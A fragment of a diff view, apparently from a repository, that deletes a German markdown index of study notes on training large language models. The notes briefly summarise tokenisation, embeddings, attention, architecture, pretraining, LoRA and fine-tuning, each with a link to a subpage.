Sie finden ein Beispiel für den Code zur Durchführung dieser Feinabstimmung unter [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py)
|
||||
|
||||
## Referenzen
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
@ -1,98 +0,0 @@
|
||||
# LLM Training - Datenvorbereitung
|
||||
|
||||
**Dies sind meine Notizen aus dem sehr empfohlenen Buch** [**https://www.manning.com/books/build-a-large-language-model-from-scratch**](https://www.manning.com/books/build-a-large-language-model-from-scratch) **mit einigen zusätzlichen Informationen.**
|
||||
|
||||
## Grundinformationen
|
||||
|
||||
Sie sollten mit dem Lesen dieses Beitrags beginnen, um einige grundlegende Konzepte zu verstehen, die Sie wissen sollten:
|
||||
|
||||
{{#ref}}
|
||||
0.-basic-llm-concepts.md
|
||||
{{#endref}}
|
||||
|
||||
## 1. Tokenisierung
|
||||
|
||||
> [!TIP]
|
||||
> Das Ziel dieser ersten Phase ist sehr einfach: **Teilen Sie die Eingabe in Tokens (IDs) auf eine Weise, die Sinn macht**.
|
||||
|
||||
{{#ref}}
|
||||
1.-tokenizing.md
|
||||
{{#endref}}
|
||||
|
||||
## 2. Datenauswahl
|
||||
|
||||
> [!TIP]
|
||||
> Das Ziel dieser zweiten Phase ist sehr einfach: **Wählen Sie die Eingabedaten aus und bereiten Sie sie für die Trainingsphase vor, indem Sie den Datensatz normalerweise in Sätze einer bestimmten Länge unterteilen und auch die erwartete Antwort generieren.**
|
||||
|
||||
{{#ref}}
|
||||
2.-data-sampling.md
|
||||
{{#endref}}
|
||||
|
||||
## 3. Token-Embeddings
|
||||
|
||||
> [!TIP]
|
||||
> Das Ziel dieser dritten Phase ist sehr einfach: **Weisen Sie jedem der vorherigen Tokens im Vokabular einen Vektor der gewünschten Dimensionen zu, um das Modell zu trainieren.** Jedes Wort im Vokabular wird einen Punkt in einem Raum von X Dimensionen haben.\
|
||||
> Beachten Sie, dass die Position jedes Wortes im Raum zunächst "zufällig" initialisiert wird und diese Positionen trainierbare Parameter sind (während des Trainings verbessert werden).
|
||||
>
|
||||
> Darüber hinaus wird während des Token-Embeddings **eine weitere Schicht von Embeddings erstellt**, die (in diesem Fall) die **absolute Position des Wortes im Trainingssatz** darstellt. Auf diese Weise hat ein Wort an verschiedenen Positionen im Satz eine unterschiedliche Darstellung (Bedeutung).
|
||||
|
||||
{{#ref}}
|
||||
3.-token-embeddings.md
|
||||
{{#endref}}
|
||||
|
||||
## 4. Aufmerksamkeitsmechanismen
|
||||
|
||||
> [!TIP]
|
||||
> Das Ziel dieser vierten Phase ist sehr einfach: **Wenden Sie einige Aufmerksamkeitsmechanismen an**. Diese werden viele **wiederholte Schichten** sein, die die **Beziehung eines Wortes im Vokabular zu seinen Nachbarn im aktuellen Satz, der zum Trainieren des LLM verwendet wird, erfassen**.\
|
||||
> Viele Schichten werden dafür verwendet, sodass viele trainierbare Parameter diese Informationen erfassen werden.
|
||||
|
||||
{{#ref}}
|
||||
4.-attention-mechanisms.md
|
||||
{{#endref}}
|
||||
|
||||
## 5. LLM-Architektur
|
||||
|
||||
> [!TIP]
|
||||
> Das Ziel dieser fünften Phase ist sehr einfach: **Entwickeln Sie die Architektur des gesamten LLM**. Fügen Sie alles zusammen, wenden Sie alle Schichten an und erstellen Sie alle Funktionen, um Text zu generieren oder Text in IDs und umgekehrt zu transformieren.
|
||||
>
|
||||
> Diese Architektur wird sowohl für das Training als auch für die Vorhersage von Text nach dem Training verwendet.
|
||||
|
||||
{{#ref}}
|
||||
5.-llm-architecture.md
|
||||
{{#endref}}
|
||||
|
||||
## 6. Vortraining & Laden von Modellen
|
||||
|
||||
> [!TIP]
|
||||
> Das Ziel dieser sechsten Phase ist sehr einfach: **Trainieren Sie das Modell von Grund auf neu**. Dazu wird die vorherige LLM-Architektur mit einigen Schleifen über die Datensätze verwendet, wobei die definierten Verlustfunktionen und der Optimierer verwendet werden, um alle Parameter des Modells zu trainieren.
|
||||
|
||||
{{#ref}}
|
||||
6.-pre-training-and-loading-models.md
|
||||
{{#endref}}
|
||||
|
||||
## 7.0. LoRA-Verbesserungen beim Feintuning
|
||||
|
||||
> [!TIP]
|
||||
> Die Verwendung von **LoRA reduziert die benötigte Berechnung** erheblich, um **bereits trainierte Modelle feinzujustieren**.
|
||||
|
||||
{{#ref}}
|
||||
7.0.-lora-improvements-in-fine-tuning.md
|
||||
{{#endref}}
|
||||
|
||||
## 7.1. Feintuning für Klassifikation
|
||||
|
||||
> [!TIP]
|
||||
> Das Ziel dieses Abschnitts ist zu zeigen, wie man ein bereits vortrainiertes Modell feinjustiert, sodass das LLM anstelle von neuem Text die **Wahrscheinlichkeiten des gegebenen Textes für jede der gegebenen Kategorien** (wie ob ein Text Spam ist oder nicht) angibt.
|
||||
|
||||
{{#ref}}
|
||||
7.1.-fine-tuning-for-classification.md
|
||||
{{#endref}}
|
||||
|
||||
## 7.2. Feintuning zur Befolgung von Anweisungen
|
||||
|
||||
> [!TIP]
|
||||
> Das Ziel dieses Abschnitts ist zu zeigen, wie man **ein bereits vortrainiertes Modell feinjustiert, um Anweisungen zu befolgen**, anstatt nur Text zu generieren, zum Beispiel, um auf Aufgaben als Chatbot zu antworten.
|
||||
|
||||
{{#ref}}
|
||||
7.2.-fine-tuning-to-follow-instructions.md
|
||||
{{#endref}}
|
||||
Loading…
x
Reference in New Issue
Block a user